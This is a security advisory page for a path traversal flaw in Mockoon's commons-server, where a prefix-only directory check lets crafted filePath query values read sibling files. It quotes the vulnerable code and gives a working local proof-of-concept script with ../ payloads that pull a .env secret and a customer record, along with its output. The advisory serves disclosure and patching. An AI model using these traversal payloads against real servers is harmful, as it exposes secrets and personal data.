Medium

@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

  • Disclosed: 11.09.2026
  • Updated: 11.10.2026 10:22

Summary

A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

Details

packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:

ts
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336
const parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled
const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) {
  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355
    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
  }
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362
  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}

With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...

filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).

PoC

bash
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
 console.log("[*] intended file (public/index.txt)    :",await g("index.txt"));
 console.log("[+] escape -> ../public_backup/.env     :",await g("../public_backup/.env"));
 console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh

Output:

[*] intended file (public/index.txt)    : public landing page
[+] escape -> ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741

../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @mockoon/cli < 9.7.0 9.7.0
npm package @mockoon/commons-server < 9.7.0 9.7.0

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-22, CWE-23
Platform
npm
Package
@mockoon/cli, @mockoon/commons-server
Disclosed
11.09.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-8wqc-v2q8-vff2 - CC BY 4.0

Vulnerability history: @mockoon/cli

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
03.2025 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2
  • Medium 1

Disclosures per year

  1. 2025: 1
  2. 2026: 2
  1. @Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check) this entry
    Medium · 6.5 CVE-2026-59149 < 9.7.0 9.7.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.